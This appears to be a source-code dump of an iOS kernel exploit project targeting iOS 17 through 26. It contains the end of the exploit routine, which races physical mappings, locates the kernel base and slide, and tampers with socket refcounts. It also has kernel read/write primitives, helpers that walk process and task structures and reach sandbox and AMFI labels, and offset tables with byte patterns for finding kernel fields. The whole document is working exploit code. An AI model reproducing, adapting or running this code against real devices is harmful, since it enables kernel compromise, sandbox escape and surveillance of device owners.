kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize);
if (success) break;
}
// Cleanup: deallocate remaining wired pages
for (NSNumber *addr in wiredAddrs) {
mach_vm_deallocate(mach_task_self(), addr.unsignedLongLongValue, wiredEntrySize);
}
printf("[+] pe_v2: Done, cleaned up %lu remaining wired pages\n", (unsigned long)wiredAddrs.count);
free(readBuffer);
free(writeBuffer);
}
void krw_sockets_leak_forever(void) {
uint64_t controlSocketAddr =
early_kread64(controlSocketPcb + off_inpcb_inp_socket);
uint64_t rwSocketAddr =
early_kread64(rwSocketPcb + off_inpcb_inp_socket);
if (!controlSocketAddr || !rwSocketAddr) {
printf("[-] Couldn't find controlSocketAddr || rwSocketAddr\n");
FAILURE(0);
}
uint64_t controlSocketSoCount =
early_kread64(controlSocketAddr + off_socket_so_usecount);
uint64_t rwSocketSoCount =
early_kread64(rwSocketAddr + off_socket_so_usecount);
early_kwrite64(controlSocketAddr + off_socket_so_usecount,
controlSocketSoCount + 0x0000100100001001);
early_kwrite64(rwSocketAddr + off_socket_so_usecount,
rwSocketSoCount + 0x0000100100001001);
early_kwrite64(rwSocketPcb + off_inpcb_inp_depend6_inp6_chksum, 0);
}
uint64_t g_kernel_base;
uint64_t g_kernel_slide;
int kexploit_opa334(void) {
// to support various iOS 17 - 26 versions
offsets_init();
init_globals();
if (gIsA18Above) {
printf("[+] Running on A18/M4 device\n");
sleep(8);
pe_init();
pe_v2();
} else {
printf("[+] Running on non-A18/M4 device\n");
pe_init();
pe_v1();
}
printf("[+] highestSuccessIdx: %d\n", highestSuccessIdx);
printf("[+] successReadCount: %d\n", successReadCount);
goSync = 0;
raceSync = 1;
pthread_join(freeThread, NULL);
close(writeFd);
close(readFd);
controlSocketPcb = early_kread64(rwSocketPcb + off_inpcb_inp_list_le_next);
uint64_t pcbinfo_pointer = early_kread64(controlSocketPcb + off_inpcb_inp_pcbinfo);
uint64_t ipi_zone = early_kread64(pcbinfo_pointer + off_inpcbinfo_ipi_zone);
uint64_t zv_name = early_kread64(ipi_zone + off_kalloc_type_view_kt_zv_zv_name);
g_kernel_base = zv_name & 0xFFFFFFFFFFFFC000;
while (true) {
// PRINT_VAR(g_kernel_base);
if (early_kread64(g_kernel_base) == 0x100000cfeedfacf) {
if(gIsPACSupported) { //arm64e devices
if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"16.0") && SYSTEM_VERSION_LESS_THAN(@"19.0") && early_kread64(g_kernel_base + 0x8) == 0xc00000002) { // iOS 16.x, 17.x, 18.x
break;
}
if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"26.0") && early_kread64(g_kernel_base + 0x8) == 0xCC0000002) { // iOS 26.x
break;
}
if(SYSTEM_VERSION_LESS_THAN(@"16.0")) { // iOS 15.x
break;
}
} else { //arm64 devices
if(early_kread64(g_kernel_base + 0x8) == 0x200000000) { //tested only on ipad7 18.0
break;
}
}
}
g_kernel_base -= PAGE_SIZE;
}
g_kernel_slide = g_kernel_base - 0xfffffff007004000;
printf("early_kread64(%#llx) -> %#llx\n", g_kernel_base,
early_kread64(g_kernel_base));
printf("win??\n");
krw_sockets_leak_forever();
fflush(stdout);
sleep(1);
return 0;
}
+37
View File
@@ -0,0 +1,37 @@
//
// krw.m
// darksword-kexploit-fun
//
// Created by seo on 3/24/26.
//
#ifndef krw_m
#define krw_m
#import <stdint.h>
#import <stdbool.h>
#import "offsets.h"
#define BIT(b) (1ULL << (b))
#define ONES(x) (BIT((x))-1)
#define PTR_MASK ONES(64-t1sz_boot)
#define PAC_MASK (~PTR_MASK)
#define SIGN(p) ((p) & BIT(55))
#define UNSIGN_PTR(p) (SIGN(p) ? ((p) | PAC_MASK) : ((p) & ~PAC_MASK))
bool is_kaddr_valid(uint64_t addr);
void kreadbuf(uint64_t addr, void *buf, uint64_t len);
void kwritebuf(uint64_t addr, const void *buf, uint64_t len);
uint16_t kread16(uint64_t kaddr);
uint32_t kread32(uint64_t kaddr);
uint64_t kread64(uint64_t kaddr);
void kwrite8(uint64_t kaddr, uint8_t val);
void kwrite16(uint64_t kaddr, uint16_t val);
void kwrite32(uint64_t kaddr, uint32_t val);
void kwrite64(uint64_t kaddr, uint64_t val);
void khexdump(uint64_t addr, size_t size);
uint64_t kread_ptr(uint64_t va);
uint64_t kread_smrptr(uint64_t va);
void kwrite_zone_element(uint64_t dst, const void *src, uint64_t len);
#endif /* krw_m */
+192
View File
@@ -0,0 +1,192 @@
//
// krw.m
// darksword-kexploit-fun
//
// Created by seo on 3/24/26.
//
#import "krw.h"
#import "kexploit_opa334.h"
#import <stdint.h>
#import <stdlib.h>
#import <unistd.h>
#import <string.h>
#import <stdbool.h>
#import "xpaci.h"
#import "offsets.h"
extern bool gIsPACSupported;
bool is_kaddr_valid(uint64_t addr) {
if ((addr & 0xfffff00000000000) != 0xfffff00000000000) {
return false;
}
return true;
}
uint16_t kread16(uint64_t kaddr)
{
return (uint16_t)(early_kread64(kaddr) & 0xFFFF);
}
uint32_t kread32(uint64_t kaddr)
{
return (uint32_t)(early_kread64(kaddr) & 0xFFFFFFFF);
}
uint64_t kread64(uint64_t kaddr)
{
return early_kread64(kaddr);
}
void kwrite8(uint64_t kaddr, uint8_t val)
{
uint64_t what = early_kread64(kaddr);
early_kwrite64(kaddr, (what & 0xFFFFFFFFFFFFFF00ULL) | (uint64_t)val);
}
void kwrite16(uint64_t kaddr, uint16_t val)
{
uint64_t what = early_kread64(kaddr);
early_kwrite64(kaddr, (what & 0xFFFFFFFFFFFF0000ULL) | (uint64_t)val);
}
void kwrite32(uint64_t kaddr, uint32_t val)
{
uint64_t what = early_kread64(kaddr);
early_kwrite64(kaddr, (what & 0xFFFFFFFF00000000ULL) | (uint64_t)val);
}
void kwrite64(uint64_t kaddr, uint64_t val)
{
early_kwrite64(kaddr, val);
}
uint8_t kread8(uint64_t addr) {
uint32_t low = kread32(addr);
return (uint8_t)(low & 0xFF);
}
void kreadbuf(uint64_t addr, void *buf, uint64_t len) {
for (size_t off = 0; off < len; off += 8) {
uint64_t val = early_kread64(addr + off);
size_t chunk = (len - off >= 8) ? 8 : (len - off);
memcpy((uint8_t *)buf + off, &val, chunk);
}
}
void kwritebuf(uint64_t addr, const void *buf, uint64_t len)
{
for (size_t off = 0; off < len; off += 8) {
uint64_t val = 0;
size_t chunk = (len - off >= 8) ? 8 : (len - off);
memcpy(&val, (const uint8_t *)buf + off, chunk);
if (chunk == 8) {
early_kwrite64(addr + off, val);
} else {
uint64_t original = early_kread64(addr + off);
uint64_t mask = (1ULL << (chunk * 8)) - 1;
early_kwrite64(addr + off, (original & ~mask) | (val & mask));
}
}
}
void khexdump(uint64_t addr, size_t size) {
void *data = malloc(size);
for (size_t off = 0; off < size; off += 8) {
uint64_t val = early_kread64(addr + off);
size_t chunk = (size - off >= 8) ? 8 : (size - off);
memcpy((uint8_t *)data + off, &val, chunk);
}
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
if ((i % 16) == 0)
{
printf("[0x%016llx+0x%03zx] ", addr, i);
}
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
free(data);
}
uint64_t kread_ptr(uint64_t va)
{
return xpaci(kread64(va));
}
uint64_t kread_smrptr(uint64_t va)
{
uint64_t value = kread_ptr(va);
uint64_t bits = (smr_base << (62-t1sz_boot));
if((value & bits) == 0) {
return ((value & (0xFFFFFFFFFFFFC000 & ~bits)) | bits);
}
return (value & 0xFFFFFFFFFFFFFFE0);
}
void kwrite_zone_element(uint64_t dst, const void *src, uint64_t len)
{
if (len < EARLY_KRW_LENGTH) {
printf("[%s:%d] kwrite_zone_element: len < 0x20 not supported\n",
__FUNCTION__, __LINE__);
return;
}
uint8_t tmpBuf[EARLY_KRW_LENGTH];
uint64_t remaining = len;
uint64_t offset = 0;
while (remaining != 0) {
uint64_t writeSize = (remaining >= EARLY_KRW_LENGTH)
? EARLY_KRW_LENGTH
: (remaining % EARLY_KRW_LENGTH);
uint64_t writeDst = dst + offset;
uint64_t srcOff = offset;
if (writeSize != EARLY_KRW_LENGTH) {
// Last fragment < 0x20: Shift start address backward
// to keep the 0x20-byte block within the zone boundary.
uint64_t adjust = EARLY_KRW_LENGTH - writeSize;
writeDst -= adjust;
srcOff -= adjust;
// Read existing data from the shifted region (read-modify-write)
kreadbuf(writeDst, tmpBuf, EARLY_KRW_LENGTH);
// Overwrite only the specific portion to be modified
memcpy(tmpBuf + adjust, (const uint8_t *)src + offset, writeSize);
early_kwrite32bytes(writeDst, tmpBuf);
} else {
early_kwrite32bytes(writeDst, (const uint8_t *)src + srcOff);
}
remaining -= writeSize;
offset += writeSize;
}
}
+40
View File
@@ -0,0 +1,40 @@
//
// kutils.h
// darksword-kexploit-fun
//
// Created by seo on 3/25/26.
//
#ifndef kutils_h
#define kutils_h
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <mach/mach.h>
uint64_t proc_self(void);
uint64_t task_self(void);
char* proc_get_p_name(uint64_t proc);
uint64_t proc_task(uint64_t proc);
uint64_t proc_find(pid_t pid);
uint64_t proc_find_by_name(const char* name);
const char* get_bootManifestHash(void);
uint64_t task_get_ipc_port_kobject(uint64_t task, mach_port_t port);
uint64_t task_get_vm_map(uint64_t task_ptr);
int disable_excguard_kill(uint64_t task);
uint64_t thread_get_t_tro(uint64_t thread);
uint64_t thread_get_task(uint64_t thread);
uint16_t thread_get_options(uint64_t thread);
void thread_set_options(uint64_t thread, uint16_t options);
void thread_set_mutex(uint64_t thread, uint32_t ctid);
uint32_t thread_get_mutex(uint64_t thread);
uint64_t thread_get_kstackptr(uint64_t thread);
uint64_t thread_get_jop_pid(uint64_t thread);
uint64_t thread_get_rop_pid(uint64_t thread);
uint64_t proc_get_cred_label(uint64_t proc);
uint64_t amfi_cslot_get(uint64_t label);
uint64_t label_get_sandbox(uint64_t label);
uint64_t kalloc_array_decode(uint64_t ptr);
#endif /* kutils_h */
+233
View File
@@ -0,0 +1,233 @@
//
// kutils.m
// darksword-kexploit-fun
//
// Created by seo on 3/25/26.
//
#import "kutils.h"
#import "kexploit_opa334.h"
#import "krw.h"
#import "offsets.h"
#import <unistd.h>
#import <string.h>
#import <stdbool.h>
#import <sys/mount.h>
#import <Foundation/Foundation.h>
extern bool gIsPACSupported;
extern uint64_t rwSocketPcb;
uint64_t gSelfProc = 0;
uint64_t gSelfTask = 0;
uint64_t proc_self(void) {
if(!gSelfProc) {
uint64_t rwSocketAddr = kread64(rwSocketPcb + off_inpcb_inp_socket);
uint64_t current_thread = kread64(rwSocketAddr + off_socket_so_background_thread);
uint64_t current_thread_ro = kread64(current_thread + off_thread_t_tro);
gSelfProc = kread64(current_thread_ro + off_thread_ro_tro_proc);
}
return gSelfProc;
}
uint64_t task_self(void) {
if(!gSelfTask) {
uint64_t rwSocketAddr = kread64(rwSocketPcb + off_inpcb_inp_socket);
uint64_t current_thread = kread64(rwSocketAddr + off_socket_so_background_thread);
uint64_t current_thread_ro = kread64(current_thread + off_thread_t_tro);
gSelfTask = kread64(current_thread_ro + off_thread_ro_tro_task);
}
return gSelfTask;
}
uint64_t proc_find(pid_t pid) {
uint64_t proc = proc_self();
while (1) {
uint32_t curPid = kread32(proc + off_proc_p_pid);
if (curPid == pid)
return proc;
proc = kread64(proc + off_proc_p_list_le_next);
if(!proc) break;
}
proc = proc_self();
while (1) {
uint32_t curPid = kread32(proc + off_proc_p_pid);
if (curPid == pid)
return proc;
proc = kread64(proc + off_proc_p_list_le_prev);
if(!proc) return -1; // not found
}
return proc;
}
uint64_t proc_find_by_name(const char* name) {
uint64_t proc = proc_self();
while (1) {
char *p_name = proc_get_p_name(proc);
if(p_name != NULL && strcmp(p_name, name) == 0)
return proc;
proc = kread64(proc + off_proc_p_list_le_next);
if(!proc) break;
}
proc = proc_self();
while (1) {
char *p_name = proc_get_p_name(proc);
if(p_name != NULL && strcmp(p_name, name) == 0)
return proc;
proc = kread64(proc + off_proc_p_list_le_prev);
if(!proc) return -1; // not found
}
return proc;
}
char proc_name[32];
char* proc_get_p_name(uint64_t proc) {
if(!proc) return NULL;
memset(proc_name, 0, 32);
kreadbuf(proc + off_proc_p_name, &proc_name, 32);
return proc_name;
}
uint64_t proc_task(uint64_t proc)
{
uint64_t p_proc_ro = kread64(proc + off_proc_p_proc_ro);
uint64_t pr_task = kread64(p_proc_ro + off_proc_ro_pr_task);
return pr_task;
}
uint64_t ipc_entry_lookup(uint64_t space, mach_port_name_t name)
{
// New format in iOS 16.1
uint64_t table = kread_smrptr(space + off_ipc_space_is_table);
// Temporary FIX:
// It seems like only problem occured when arm64 devices (especially iPad 7/17.0)
// When tried running without below if code block, it still works fine on iPhone SE2/17.0, SE3/18.6.2
// If code blocks running on iPad M4/26.0.x, it occured problems.
if(!gIsPACSupported) {
table |= 0xFFFFFF8000000000ULL;
table = kalloc_array_decode(table);
}
return (table + (sizeof_ipc_entry * (name >> 8)));
}
uint64_t task_get_ipc_port_table_entry(uint64_t task, mach_port_t port)
{
uint64_t itk_space = kread_ptr(task + off_task_itk_space);
return ipc_entry_lookup(itk_space, port);
}
uint64_t task_get_ipc_port_object(uint64_t task, mach_port_t port)
{
return kread_ptr(task_get_ipc_port_table_entry(task, port) + off_ipc_entry_ie_object);
}
uint64_t task_get_ipc_port_kobject(uint64_t task, mach_port_t port)
{
return kread_ptr(task_get_ipc_port_object(task, port) + off_ipc_port_ip_kobject);
}
uint64_t task_get_vm_map(uint64_t task_ptr)
{
return kread_ptr(task_ptr + off_task_map);
}
uint64_t thread_get_t_tro(uint64_t thread) {
return kread64(thread + off_thread_t_tro);
}
// from pe_main.js
int disable_excguard_kill(uint64_t task) {
// in mach_port_guard_ast, the victim would crash if these are on.
uint32_t excGuard = kread32(task + off_task_task_exc_guard);
excGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL);
excGuard |= TASK_EXC_GUARD_MP_DELIVER;
kwrite32(task + off_task_task_exc_guard, excGuard);
return 0;
}
uint64_t thread_get_task(uint64_t thread)
{
uint64_t tro = thread_get_t_tro(thread);
return kread64(tro + off_thread_ro_tro_task);
}
uint16_t thread_get_options(uint64_t thread)
{
return kread16(thread + off_thread_options);
}
void thread_set_options(uint64_t thread, uint16_t options) {
kwrite16(thread + off_thread_options, options);
}
void thread_set_mutex(uint64_t thread, uint32_t ctid) {
kwrite32(thread + off_thread_mutex_lck_mtx_data, ctid);
}
uint32_t thread_get_mutex(uint64_t thread) {
return kread32(thread + off_thread_mutex_lck_mtx_data);
}
uint64_t thread_get_kstackptr(uint64_t thread) {
return kread_ptr(thread + off_thread_machine_kstackptr);
}
uint64_t thread_get_jop_pid(uint64_t thread) {
return kread64(thread + off_thread_machine_jop_pid);
}
uint64_t thread_get_rop_pid(uint64_t thread) {
return kread64(thread + off_thread_machine_rop_pid);
}
const char* get_bootManifestHash(void) {
struct statfs fs;
if (statfs("/usr/standalone/firmware", &fs) == 0) {
NSString *mountedPath = [NSString stringWithUTF8String:fs.f_mntfromname];
NSArray<NSString *> *components = [mountedPath componentsSeparatedByString:@"/"];
if ([components count] > 3) {
NSString *substring = components[3];
return substring.UTF8String;
}
}
return NULL;
}
uint64_t proc_get_cred_label(uint64_t proc) {
uint64_t p_proc_ro = kread64(proc + off_proc_p_proc_ro);
uint64_t ucred = kread64(p_proc_ro + off_proc_ro_p_ucred);
uint64_t label = kread_ptr(ucred + off_ucred_cr_label);
return label;
}
uint64_t amfi_cslot_get(uint64_t label) {
return kread64(label + off_label_l_perpolicy_amfi);
}
uint64_t label_get_sandbox(uint64_t label) {
return kread64(label + off_label_l_perpolicy_sandbox);
}
// from Darksword's libs/TaskRop/Task.js - static #kallocArrayDecodeAddr(ptr)
uint64_t kalloc_array_decode(uint64_t ptr)
{
//xnu-10002.61.3/osfmk/kern/kalloc.c:2047
uint64_t shift = 64 - t1sz_boot - 1;
uint64_t zone_mask = 1ULL << shift;
if (ptr & zone_mask) {
ptr &= ~0x1FULL;
} else {
ptr &= ~0x3FFFULL;
ptr |= zone_mask;
}
return ptr;
}
+86
View File
@@ -0,0 +1,86 @@
#ifndef MACHINE_INFO_H
#define MACHINE_INFO_H
#include <mach/machine.h>
/* A8 */
#ifndef CPUFAMILY_ARM_TYPHOON
#define CPUFAMILY_ARM_TYPHOON 0x2c91a47e
#endif
/* A9 */
#ifndef CPUFAMILY_ARM_TWISTER
#define CPUFAMILY_ARM_TWISTER 0x92fb37c8
#endif
/* A10 */
#ifndef CPUFAMILY_ARM_HURRICANE
#define CPUFAMILY_ARM_HURRICANE 0x67ceee93
#endif
/* A11 */
#ifndef CPUFAMILY_ARM_MONSOON_MISTRAL
#define CPUFAMILY_ARM_MONSOON_MISTRAL 0xe81e7ef6
#endif
/* A12 */
#ifndef CPUFAMILY_ARM_VORTEX_TEMPEST
#define CPUFAMILY_ARM_VORTEX_TEMPEST 0x07d34b9f
#endif
/* A13 */
#ifndef CPUFAMILY_ARM_LIGHTNING_THUNDER
#define CPUFAMILY_ARM_LIGHTNING_THUNDER 0x462504d2
#endif
/* A14, M1 */
#ifndef CPUFAMILY_ARM_FIRESTORM_ICESTORM
#define CPUFAMILY_ARM_FIRESTORM_ICESTORM 0x1b588bb3
#endif
/* A15, M2 */
#ifndef CPUFAMILY_ARM_BLIZZARD_AVALANCHE
#define CPUFAMILY_ARM_BLIZZARD_AVALANCHE 0xda33d83d
#endif
/* A16 */
#ifndef CPUFAMILY_ARM_EVEREST_SAWTOOTH
#define CPUFAMILY_ARM_EVEREST_SAWTOOTH 0x8765edea
#endif
/* A17 */
#ifndef CPUFAMILY_ARM_COLL
#define CPUFAMILY_ARM_COLL 0x2876f5b5
#endif
/* A18 */
#ifndef CPUFAMILY_ARM_TUPAI
#define CPUFAMILY_ARM_TUPAI 0x204526d0
#endif
/* A18 Pro */
#ifndef CPUFAMILY_ARM_TAHITI
#define CPUFAMILY_ARM_TAHITI 0x75d4acb9
#endif
/* M3 */
#ifndef CPUFAMILY_ARM_IBIZA
#define CPUFAMILY_ARM_IBIZA 0xfa33415e
#endif
/* M4 */
#ifndef CPUFAMILY_ARM_DONAN
#define CPUFAMILY_ARM_DONAN 0x6f5129ac
#endif
/* A19 */
#ifndef CPUFAMILY_ARM_TILOS
#define CPUFAMILY_ARM_TILOS 0x01d7a72b
#endif
/* A19 Pro */
#ifndef CPUFAMILY_ARM_THERA
#define CPUFAMILY_ARM_THERA 0xab345f09
#endif
#endif /* MACHINE_INFO_H */
+100
View File
@@ -0,0 +1,100 @@
//
// offsets.h
// darksword-kexploit-fun
//
// Created by seo on 3/24/26.
//
#import <stdio.h>
#import <stdint.h>
extern uint32_t off_inpcb_inp_list_le_next;
extern uint32_t off_inpcb_inp_pcbinfo;
extern uint32_t off_inpcb_inp_socket;
extern uint32_t off_inpcbinfo_ipi_zone;
extern uint32_t off_inpcb_inp_depend6_inp6_icmp6filt;
extern uint32_t off_inpcb_inp_depend6_inp6_chksum;
extern uint32_t off_socket_so_usecount;
extern uint32_t off_socket_so_proto;
extern uint32_t off_socket_so_background_thread;
extern uint32_t off_kalloc_type_view_kt_zv_zv_name;
extern uint32_t off_thread_t_tro;
extern uint32_t off_thread_ro_tro_proc;
extern uint32_t off_thread_ro_tro_task;
extern uint32_t off_thread_machine_upcb;
extern uint32_t off_thread_machine_contextdata;
extern uint32_t off_thread_ctid;
extern uint32_t off_thread_options;
extern uint32_t off_thread_mutex_lck_mtx_data;
extern uint32_t off_thread_machine_kstackptr;
extern uint32_t off_thread_guard_exc_info_code;
extern uint32_t off_thread_mach_exc_info_code;
extern uint32_t off_thread_mach_exc_info_os_reason;
extern uint32_t off_thread_mach_exc_info_exception_type;
extern uint32_t off_thread_ast;
extern uint32_t off_thread_task_threads_next;
extern uint32_t off_thread_machine_jop_pid;
extern uint32_t off_thread_machine_rop_pid;
extern uint32_t off_proc_p_list_le_next;
extern uint32_t off_proc_p_list_le_prev;
extern uint32_t off_proc_p_proc_ro;
extern uint32_t off_proc_p_pid;
extern uint32_t off_proc_p_fd;
extern uint32_t off_proc_p_flag;
extern uint32_t off_proc_p_textvp;
extern uint32_t off_proc_p_name;
extern uint32_t off_proc_ro_pr_task;
extern uint32_t off_proc_ro_p_ucred;
extern uint32_t off_ucred_cr_label;
extern uint32_t off_task_itk_space;
extern uint32_t off_task_threads_next;
extern uint32_t off_task_task_exc_guard;
extern uint32_t off_task_map;
extern uint32_t off_filedesc_fd_ofiles;
extern uint32_t off_filedesc_fd_cdir;
extern uint32_t off_fileproc_fp_glob;
extern uint32_t off_fileglob_fg_data;
extern uint32_t off_fileglob_fg_flag;
extern uint32_t off_vnode_v_ncchildren_tqh_first;
extern uint32_t off_vnode_v_nclinks_lh_first;
extern uint32_t off_vnode_v_parent;
extern uint32_t off_vnode_v_data;
extern uint32_t off_vnode_v_name;
extern uint32_t off_vnode_v_usecount;
extern uint32_t off_vnode_v_iocount;
extern uint32_t off_vnode_v_writecount;
extern uint32_t off_vnode_v_flag;
extern uint32_t off_vnode_v_mount;
extern uint32_t off_mount_mnt_flag;
extern uint32_t off_namecache_nc_vp;
extern uint32_t off_namecache_nc_child_tqe_next;
extern uint32_t off_arm_saved_state64_lr;
extern uint32_t off_arm_saved_state64_pc;
extern uint32_t off_arm_saved_state_uss_ss_64;
extern uint32_t off_ipc_space_is_table;
extern uint32_t off_ipc_entry_ie_object;
extern uint32_t off_ipc_port_ip_kobject;
extern uint32_t off_arm_kernel_saved_state_sp;
extern uint32_t off_vm_map_hdr;
extern uint32_t off_vm_map_header_nentries;
extern uint32_t off_vm_map_entry_links_next;
extern uint32_t off_vm_map_entry_vme_object_or_delta;
extern uint32_t off_vm_map_entry_vme_alias;
extern uint32_t off_vm_map_header_links_next;
extern uint32_t off_vm_object_vo_un1_vou_size;
extern uint32_t off_vm_object_ref_count;
extern uint32_t off_vm_named_entry_backing_copy;
extern uint32_t off_vm_named_entry_size;
extern uint32_t off_label_l_perpolicy_amfi;
extern uint32_t off_label_l_perpolicy_sandbox;
extern uint32_t sizeof_ipc_entry;
extern uint64_t smr_base;
extern uint64_t t1sz_boot;
extern uint64_t pac_mask;
extern uint64_t VM_MIN_KERNEL_ADDRESS;
extern uint64_t VM_MAX_KERNEL_ADDRESS;
void offsets_init(void);
+976
View File
@@ -0,0 +1,976 @@
//
// offsets.m
// darksword-kexploit-fun
//
// Created by seo on 3/24/26.
//
#import "offsets.h"
#import "kexploit_opa334.h"
#import "machine_info.h"
#import <UIKit/UIKit.h>
#import <Foundation/Foundation.h>
#import <sys/sysctl.h>
/*
Currently, I've tested on..
- iPhone12,8 (iOS 17.0)
- iPhone13,1 (iOS 17.6.1)
- iPhone15,2 (iOS 17.2.1)
- iPad7,11 (18.0)
- iPhone14,6 (iOS 18.6.2)
- iPhone14,6 (iOS 26.0)
*/
// You can obtain offsets from macOS KDK that matching xnu version; always not same with iOS, but almost similar.
uint32_t off_inpcb_inp_list_le_next = 0; // (lldb) p/x offsetof(inpcb, inp_list.le_next)
uint32_t off_inpcb_inp_pcbinfo = 0; // (lldb) p/x offsetof(inpcb, inp_pcbinfo)
uint32_t off_inpcb_inp_socket = 0; // (lldb) p/x offsetof(inpcb, inp_socket)
uint32_t off_inpcb_inp_depend6_inp6_icmp6filt = 0; // (lldb) p/x offsetof(inpcb, inp_depend6.inp6_icmp6filt)
uint32_t off_inpcb_inp_depend6_inp6_chksum = 0; // (lldb) p/x offsetof(inpcb, inp_depend6.inp6_cksum)
uint32_t off_inpcbinfo_ipi_zone = 0; // (lldb) p/x offsetof(inpcbinfo, ipi_zone)
uint32_t off_socket_so_usecount = 0; // (lldb) p/x offsetof(socket, so_usecount)
uint32_t off_socket_so_proto = 0; // (lldb) p/x offsetof(socket, so_proto)
uint32_t off_socket_so_background_thread = 0; // (lldb) p/x offsetof(socket, so_background_thread)
uint32_t off_kalloc_type_view_kt_zv_zv_name = 0; // (lldb) p/x offsetof(kalloc_type_view, kt_zv.zv_name)
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, t_tro)
// iOS 17.x, 18.x, 26.x: find hex E1 00 00 54 28 00 40 F9 1F 01 00 EB C1 00 00 54, and get it from prologue+0xc or +0x10;
uint32_t off_thread_t_tro = 0;
uint32_t off_thread_ro_tro_proc = 0; // (lldb) p/x offsetof(thread_ro, tro_proc)
uint32_t off_thread_ro_tro_task = 0; // (lldb) p/x offsetof(thread_ro, tro_task)
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, machine.upcb)
// iOS 17.x, 18.x: find hex 88 42 40 B9 08 69 1B 12, xref search to identify the function that references it TWICE. Then, determine offset at prologue + 0x24 of that specific function.
// iOS 26.x: find hex 88 42 40 B9 08 69 1B 12, xref search to identify the function that references it TWICE. Then, determine offset at prologue + 0x1c or +0x24 of that specific function.
uint32_t off_thread_machine_upcb = 0;
uint32_t off_thread_machine_contextdata = 0; // just substract 8 from off_thread_machine_upcb. (lldb) p/x offsetof(thread, machine.contextData)
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, ctid)
// iOS 17.x: find hex F4 03 00 AA 1A 7F 40 93, and get it from prologue+0x6c;
// iOS 18.0+: find hex F4 03 00 AA 19 3D 00 12, and get it from prologue+0x6c(LDR);
// iOS 18.4 - 26.x: find hex ?? ?? FF B5 ?? ?? ?? ?? ?? ?? ?? ?? 02 00 80 52 03 00 80 52 04 00 80 12, and get it from prologue+0x64(LDR);
uint32_t off_thread_ctid = 0;
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, options)
// iOS 17.x - 18.3: find hex 08 7D 14 9B 09 FD 42 D3, and get if from prologue+0x20(LDRH);
// iOS 18.4 - 26.x: find hex E0 03 13 AA 02 00 F0 92 03 00 80 52, and get if from prologue+0x20(LDRH);
uint32_t off_thread_options = 0;
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, mutex.lck_mtx.data)
// iOS 17.x, 18.x, 26.x: xref str "called exception_triage when it was forbidden by the boot environment @%s:%d", get value from prologue+0x44 or +0x40(ADD), and finally calculate by adding 8.
uint32_t off_thread_mutex_lck_mtx_data = 0;
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, machine.kstackptr)
// iOS 17.x, 18.x: find hex 60 01 80 52 02 00 80 52, and get it from prologue+0x80, +0x84 or +0x8c(second STR);
// iOS 26.x: find hex 60 01 80 52 02 00 80 52, and get it from prologue+0x8c or +0x84(second STR);
uint32_t off_thread_machine_kstackptr = 0;
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, machine.jop_pid)
// iOS 17.x, 18.x, 26.x: find matched instr via search hex 3F 01 00 71 E8 03 88 9A ?? ?? ?? B9, find bl func from matched instr, and get it from bl func (`machine_thread_siguctx_pointer_convert_to_user`) prologue+0x38 or +0x3c(LDR); (lldb) p/x offsetof(thread, machine.rop_pid)
uint32_t off_thread_machine_jop_pid = 0;
uint32_t off_thread_machine_rop_pid = 0; // substract 8 from off_thread_machine_jop_pid; (lldb) p/x offsetof(thread, machine.jop_pid)
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, guard_exc_info.code)
// iOS 17.x-18.3.x: find str "guard_exc_info %llx %llx @%s:%d", and get it from prologue+0x10(first LDR);
// iOS 18.4+: no more exist, renamed to mach_exc_info.code
uint32_t off_thread_guard_exc_info_code = 0;
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, mach_exc_info.code)
// iOS 26.x: find str "guard_exc_info %llx %llx @%s:%d", and get it from prologue+0x28; (3rd LDR)
uint32_t off_thread_mach_exc_info_code = 0;
uint32_t off_thread_mach_exc_info_os_reason = 0; //substract 8 from off_thread_mach_exc_info_code. (lldb) p/x offsetof(thread, mach_exc_info.os_reason)
uint32_t off_thread_mach_exc_info_exception_type = 0; //substract 4 from off_thread_mach_exc_info_code. (lldb) p/x offsetof(thread, mach_exc_info.exception_type)
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, ast)
// iOS 17.x: find hex E9 07 9F 1A 08 79 1C 12 08 0D 09 2A, and get it from prologue+0x80 (ADD instr);
// iOS 18.0+: find hex E9 07 9F 1A 08 79 1C 12 08 0D 09 2A, and get it from prologue+0x90 (ADD instr);
// iOS 18.4+: find hex 09 80 C0 D2 09 00 E4 F2 01 01 09 AA E0 03 13 AA, get func by instr+0x14, and and get it from func prologue+0xa0(ADD instr) or 0xac(LDR instr);
// iOS 26.x: find hex 09 01 80 52 9F 02 00 71, and get it from prologue+0xa0(ADD instr) or 0xac(LDR instr);
uint32_t off_thread_ast = 0;
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, task_threads.next)
// iOS 17.x: find hex 1F 01 09 EB 81 FF FF 54, and get it from prologue+0x5c;
// iOS 18.0+: find hex E2 03 08 AA 3F FD A2 88 B6 00 80 52 5F 00 08 6B, and get it from prologue+0x5c(LDR);
// iOS 18.4+: find hex E2 03 08 AA BF FE A2 88 B4 00 80 52, and get it from prologue+0x58;
